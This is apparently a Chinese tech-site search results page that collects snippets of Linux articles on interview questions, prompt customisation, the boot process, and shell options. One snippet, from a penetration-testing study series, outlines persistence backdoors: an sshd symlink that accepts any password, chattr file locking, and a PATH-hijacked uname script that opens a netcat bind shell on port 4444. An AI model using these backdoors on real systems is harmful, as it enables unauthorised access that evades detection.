首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

linux常见面试题

有些程序在一个环境中工作而在另一个环境中无法工作,因此它也可以被视为选择使用哪个环境的一个因素。 10)BASH和DOS之间的基本区别是什么?...BASH和DOS控制台之间的主要区别在于3个方面: BASH命令区分大小写,而DOS命令则不区分; 在BASH下,/ character是目录分隔符,\作为转义字符。...这些文件可以是包含重要数据或设置信息的配置文件这些文件设置为隐藏会使其不太可能被意外删除。 28)解释虚拟桌面。 这可以作为最小化和最大化当前桌面上不同窗口的替代方案。...在你将其更改为其他选项之前,此选项保持默认状态。 34)Linux下的权限有哪些?...37)使用vi编辑器时有哪些不同的模式

2.4K10

Starship:跨 shell 的可定制的提示符

无论你是使用 bash、fish、还是 Windows 上的 PowerShell,抑或其他 shell,你都可以利用Starship 来定制外观。...让我给你看一个我做的配置示例: 配置 Starship 提示符:基础 开始你只需要在 .config 目录下制作一个配置文件(TOML文件)。如果你已经有了这个目录,直接导航到该目录并创建配置文件。...下面是创建目录和配置文件时需要输入的内容: mkdir -p ~/.config && touch ~/.config/starship.toml 请注意,这是一个隐藏目录。...所以,当你试图使用文件管理器从主目录访问它时,请确保在继续之前 启用查看隐藏文件。 接下来如果你想探索一些你喜欢的东西,你应该参考配置文档。...我很想看看你是如何 自定义 Linux 终端 以适应不同的使用方式。 欢迎在下面的评论中分享你的看法,如果你喜欢的话。

1K20
您找到你想要的搜索结果了吗?
是的
没有找到

Linux权限维持|内网渗透学习(十二)

Linux权限维持|内网渗透学习(十二) 都是一些偷袭留后门的小技巧, 有哪些内容的话看目录吧 SSH 后门 软链接sshd 输入任意密码就可以root用户权限登陆﹐如果root用户被禁止登陆时﹐可以利用其他存在的用户身份登陆...Linux隐藏技术 简单隐藏 就是直接文件名设为.开头 隐藏权限(文件加锁) chattr命令可以给文件枷锁, 防止被删除 chattr +i ...., 只要我们放一个具有可执行权限的uname文件到前面四个目录的任意一个, 执行uname命令都会先解析我们的uname文件从而达到劫持的效果 如果uname内容改为如下内容并降文件放到/usr/local.../bin/bash nc -l -v -p 4444 -e /bin/bash 2>/dev/null &/bin/uname $@ 其他可执行程序也可以尝试通过这种方式进行劫持, 是否成功取决于原可执行文件所在目录之前的其他...shell目录是否有我们可写入的 或者除了劫持之外直接原本的程序给扬了替换成我们自己的恶意程序也不是不行 2022_10_02 05:15

1K32

Linux操作系统知识

然后再针对当前用户读取家目录中的 ~/.bash_profile和~/.bash_login和~/.profile     h、最后一步就是打开non-loginshell        ...答:     a、编辑网卡配置文件/etc/sysconfig/network-scripts/ifcfg-eth0,HWADDR和MAC地址这两行删除。     ...b、修改文件/etc/udev/rules.d/70-persistent-net.rules,删除之前eth0所在的行,下一行eth1修改为eth0     c、reboot 7.Linux网卡配置文件路径是什么...答:     /mnt一般用于挂载外接设备     /root是一个目录,是root用户的家目录     /boot目录是/目录下的一个子目录 10.某一天误操作,执行了rm-rf*,会有哪些情况发生...答:     a、如果当前目录为"/tmp",那么这个目录下的东西会全部删除(默认不包含隐藏文件)     b、如果当前目录为"/",那么系统上的数据将会丢失,且无法启动,系统崩溃(谨慎使用这个命令

6.6K30

Linux 的启动流程

也就是说,启动时根据运行级别,确定要运行哪些程序 ? Linux预置七种运行级别(0-6)。一般来说,0是关机,1是单用户模式(也就是维护模式),6是重启。...运行级别2-5,各个发行版不太一样,对于Debian来说,都是同样的多用户模式(也就是正常模式)。 init进程首先读取文件 /etc/inittab,它是运行级别的设置文件。...那么,运行级别2有些什么程序呢,系统怎么知道每个级别应该加载哪些程序呢?……回答是每个运行级别在/etc目录下面,都有一个对应的子目录,指定要加载的程序。...下面让我们看看 /etc/rc2.d 目录中到底指定了哪些程序。...大多数时候,我们对于bash定制,都是写在这个文件里面的。 你也许会问,要是不进入 non-login shell,岂不是.bashrc就不会运行了,因此bash 也就不能完成定制了?

2K30

【专业技术】linux启动流程剖析

也就是说,启动时根据"运行级别",确定要运行哪些程序。 ? Linux预置七种运行级别(0-6)。一般来说,0是关机,1是单用户模式(也就是维护模式),6是重启。...运行级别2-5,各个发行版不太一样,对于Debian来说,都是同样的多用户模式(也就是正常模式)。 init进程首先读取文件 /etc/inittab,它是运行级别的设置文件。...那么,运行级别2有些什么程序呢,系统怎么知道每个级别应该加载哪些程序呢?......回答是每个运行级别在/etc目录下面,都有一个对应的子目录,指定要加载的程序。   ...下面让我们看看 /etc/rc2.d 目录中到底指定了哪些程序。   ...大多数时候,我们对于bash定制,都是写在这个文件里面的。 你也许会问,要是不进入 non-login shell,岂不是.bashrc就不会运行了,因此bash 也就不能完成定制了?

1K70

Linux 的启动流程

也就是说,启动时根据"运行级别",确定要运行哪些程序。 ? Linux预置七种运行级别(0-6)。一般来说,0是关机,1是单用户模式(也就是维护模式),6是重启。...运行级别2-5,各个发行版不太一样,对于Debian来说,都是同样的多用户模式(也就是正常模式)。 init进程首先读取文件 /etc/inittab,它是运行级别的设置文件。...那么,运行级别2有些什么程序呢,系统怎么知道每个级别应该加载哪些程序呢?......回答是每个运行级别在/etc目录下面,都有一个对应的子目录,指定要加载的程序。   ...下面让我们看看 /etc/rc2.d 目录中到底指定了哪些程序。   ...大多数时候,我们对于bash定制,都是写在这个文件里面的。 你也许会问,要是不进入 non-login shell,岂不是.bashrc就不会运行了,因此bash 也就不能完成定制了?

3.3K50

Linux面试题Top100

但是,如果考虑可移植操作系统接口(POSIX)标准,则可以Linux视为UNIX。...26.使用vi编辑器时有哪些不同的模式? 回答: vi编辑器中有三种模式。他们是 命令模式/常规模式 插入模式/编辑模式。 防爆模式/更换模式。 27.什么是inode和进程ID?...LVM用于现有存储设备收集到该组中并分配逻辑单元。 33.什么是umask? 回答: unmask代表用户文件创建模式。用户创建任何文件时,它具有默认文件权限。...回答: cp命令: cp命令用于复制文件目录。它还用于备份文件目录。 句法: $ cp文件名 55.如何在Linux中从系统中删除文件目录?...Linux中的Ans: du命令用于检索有关哪些文件使用目录中磁盘空间的更多详细信息。

13.7K42

Linux 启动流程分析

也就是说,启动时根据"运行级别",确定要运行哪些程序。 ? Linux预置七种运行级别(0-6)。一般来说,0是关机,1是单用户模式(也就是维护模式),6是重启。...运行级别2-5,各个发行版不太一样,对于Debian来说,都是同样的多用户模式(也就是正常模式)。 init进程首先读取文件 /etc/inittab,它是运行级别的设置文件。...那么,运行级别2有些什么程序呢,系统怎么知道每个级别应该加载哪些程序呢?......回答是每个运行级别在/etc目录下面,都有一个对应的子目录,指定要加载的程序。   ...下面让我们看看 /etc/rc2.d 目录中到底指定了哪些程序。   ...大多数时候,我们对于bash定制,都是写在这个文件里面的。 你也许会问,要是不进入 non-login shell,岂不是.bashrc就不会运行了,因此bash 也就不能完成定制了?

1.6K30

Linux 启动流程分析

也就是说,启动时根据"运行级别",确定要运行哪些程序。 ? Linux预置七种运行级别(0-6)。一般来说,0是关机,1是单用户模式(也就是维护模式),6是重启。...运行级别2-5,各个发行版不太一样,对于Debian来说,都是同样的多用户模式(也就是正常模式)。 init进程首先读取文件 /etc/inittab,它是运行级别的设置文件。...那么,运行级别2有些什么程序呢,系统怎么知道每个级别应该加载哪些程序呢?......回答是每个运行级别在/etc目录下面,都有一个对应的子目录,指定要加载的程序。...下面让我们看看 /etc/rc2.d 目录中到底指定了哪些程序。...大多数时候,我们对于bash定制,都是写在这个文件里面的。 你也许会问,要是不进入 non-login shell,岂不是.bashrc就不会运行了,因此bash 也就不能完成定制了?

2.7K10

Linux 命令(230)—— set 命令(builtin)

文章目录 1.功能简介 2.命令格式 3.选项说明 4.常用示例 5.选项名 参考文献 1.功能简介 set 命令主要用于查看和修改 Shell 环境的运行参数,可以定制 Shell 脚本的运行环境。...-k 指令所给的参数都会被视为此指令的环境变量。 -l 记录for循环的变量名称。 -m 使用监视模式。 -n 只读取指令,而不实际执行。...-p 启动优先顺序模式。 -P 启动 -P 参数后,执行指令时,会以实际的文件目录来取代符号连接。 -t 执行完随后的指令,即退出 Shell。...用物理目录代替 privileged -p 设置后,shell不读取.profile或ENV文件,且不从环境继承shell函数,将自动为setuid脚本开启特权 verbose -v 为调试打开verbose...模式 vi N/A 使用vi内置编辑器进行命令行编辑 xtrace -x 为调试打开echo模式 ---- 参考文献 set(1) - Linux manual page - linux.org Bash

4.3K20

Linux 启动流程分析

也就是说,启动时根据"运行级别",确定要运行哪些程序。 Linux预置七种运行级别(0-6)。一般来说,0是关机,1是单用户模式(也就是维护模式),6是重启。...运行级别2-5,各个发行版不太一样,对于Debian来说,都是同样的多用户模式(也就是正常模式)。 init进程首先读取文件 /etc/inittab,它是运行级别的设置文件。...那么,运行级别2有些什么程序呢,系统怎么知道每个级别应该加载哪些程序呢?......回答是每个运行级别在/etc目录下面,都有一个对应的子目录,指定要加载的程序。...下面让我们看看 /etc/rc2.d 目录中到底指定了哪些程序。...大多数时候,我们对于bash定制,都是写在这个文件里面的。 你也许会问,要是不进入 non-login shell,岂不是.bashrc就不会运行了,因此bash 也就不能完成定制了?

5.7K20

linux中grep如何排除过滤输出总结

这意味着大写和小写被视为不同的字符。要在搜索时忽略大小写,请grep使用该-i选项进行调用。 如果搜索字符串包含空格,则需要将其括在单引号或双引号中。...要指定两个或多个搜索模式,请使用以下-e选项: > grep -wv -e nologin -e bash /etc/passwd 你可以-e根据需要多次使用该选项。...默认情况下,grep模式解释为基本正则表达式,其中元字符(例如)|失去其特殊含义,你必须使用它们的反斜杠版本。...这是一个示例,显示如何myfreax在内的所有文件中搜索字符串/etc,不包括/etc/pki目录: > grep -R --exclude-dir=pki myfreax /etc 要排除多个目录,...在下面的示例中,我们在当前工作目录中的所有文件中搜索字符串rumenz,不包括以.pngand.jpg目录结尾的文件: > grep -rl --exclude=*.

2.2K20

笨办法学 Linux 0~3

而 Unix 哲学指出,配置文件必须是人类可读和可编辑的。在几乎所有的情况下,它们只是纯文本。所以,首先,你必须学习如何编辑文本文件。...那么,如果你不知道如何使用 vim,这是非常真实的,因为 vim 是模态的文本编辑器。模式是: 普通模式:移动光标并执行删除,复制和粘贴等文本操作。 插入模式:输入文本。...例如,当你输入ls *时,星号*扩展为当前目录中所有文件的列表。 现在你学习如何修改你的配置,以及如何编写和查看你的历史记录。...解释 打印当前目录中的所有文件,包括隐藏文件。选项-al告诉ls 以long格式打印文件列表,并包括所有文件,包括隐藏文件。.profile和.bash_rc是隐藏文件,因为它们以点.开头。...关闭会话 附加题 在线搜索为什么ls -al告诉你“总共 20”,但是只有 5 个文件存在。 这是什么意思? 请注意,.和..是特殊文件条目,分别对应于当前目录和父目录的。

2.7K10

米家温湿度计开启蓝牙广播

文章目录[隐藏] 1.修改固件设置 2.安装蓝牙相关软件 3.下载源码并运行 在上次的文章中,我们已经给米家温湿度计刷入了定制固件,现在便可以使用蓝牙广播模式来接收数据了。...相比于蓝牙连接模式,监听广播模式不建立蓝牙连接,只是等待温湿度计的蓝牙广播,进一步节省了电量消耗。 1.修改固件设置 在开始之前,我们先连接上温湿度计微调一下设置。...在连接成功后会显示如下的内容: Advertising type 修改为 Atc 1441 ,并设置所希望的广播间隔时间 Advertising interval 和 广播功率 RF TX Power...是我们所需要运行文件。...,作者给出了一个非常简单 bash 的例子,使用 -call 参数调用即可。

1.5K30

linux中grep如何排除过滤输出总结

这意味着大写和小写被视为不同的字符。要在搜索时忽略大小写,请grep使用该-i选项进行调用。 如果搜索字符串包含空格,则需要将其括在单引号或双引号中。...要指定两个或多个搜索模式,请使用以下-e选项: > grep -wv -e nologin -e bash /etc/passwd 你可以-e根据需要多次使用该选项。...默认情况下,grep模式解释为基本正则表达式,其中元字符(例如)|失去其特殊含义,你必须使用它们的反斜杠版本。...这是一个示例,显示如何rumenz在内的所有文件中搜索字符串/etc,不包括/etc/pki目录: > grep -R --exclude-dir=pki rumenz /etc 要排除多个目录,请将排除的目录括在大括号中...在下面的示例中,我们在当前工作目录中的所有文件中搜索字符串rumenz,不包括以.pngand.jpg目录结尾的文件: > grep -rl --exclude=*.

2.7K00

11-2 环境是如何建立的

二、环境是如何建立的 用户登录系统后,bash 程序就会启动并读取一系列称为启动文件的配置脚本,这些脚本定义了所有用户共享的默认环境。...接下来,bash 会读取更多存储在主目录下的用于定义个人环境的启动文件。 这些步骤执行的确切顺序是由启动的 shell 会话类型决定的。...用户可查看本机系统有哪些启动文件,需要注意的是,这些文件大多数以“ . ”开头(这意味着这些文件是被隐藏的),所以用户在使用 ls 命令时需要伴随使用 -a 选项。...PATH变量通常是告诉系统,当要求系统运行一个程序而没有告诉它程序所在的完整路径时,系统除了在当前目录下面寻找此程序外,还应到哪些目录下去寻找。...当在命令行输入一条命令后,shell 是如何找到这些命令的呢?

30410

深入了解定制 Bash | Linux 中国

由于我们常常需要设置一些选项,会改动上面提及甚至没有提及的文件,所以大部分自定义选项会成为一个麻烦事。Bash 环境具有很高的可定制性,正是为了适应不同用户的不同需求。...接收更复杂的值的 Bash 选项(如 HISTTIMEFORMAT),常常通过赋值给环境变量来达到配置目的。以下演示如何以 shell 选项和环境变量定制 Bash。...=-1 上面例子中的 direxpand 选项,可以让 Bash文件名补全时,用单词展开结果替换目录名。...PROMPT_DIRTRIM:如果设置成大于零的数,则该值用作展开 \w 和 \W 提示符字符串转义符时保留的尾随目录组件数量。删除的字符替换为省略号。...你或许早就想到了,但是通常可以通过……嗯……用户家目录的点文件实现这个目的。终端模拟器也可以作为登录会话启动,有些人总喜欢用登录环境。你使用终端和电脑的姿势,取决于你如何修改(或不修改)你的点文件

1.1K30
领券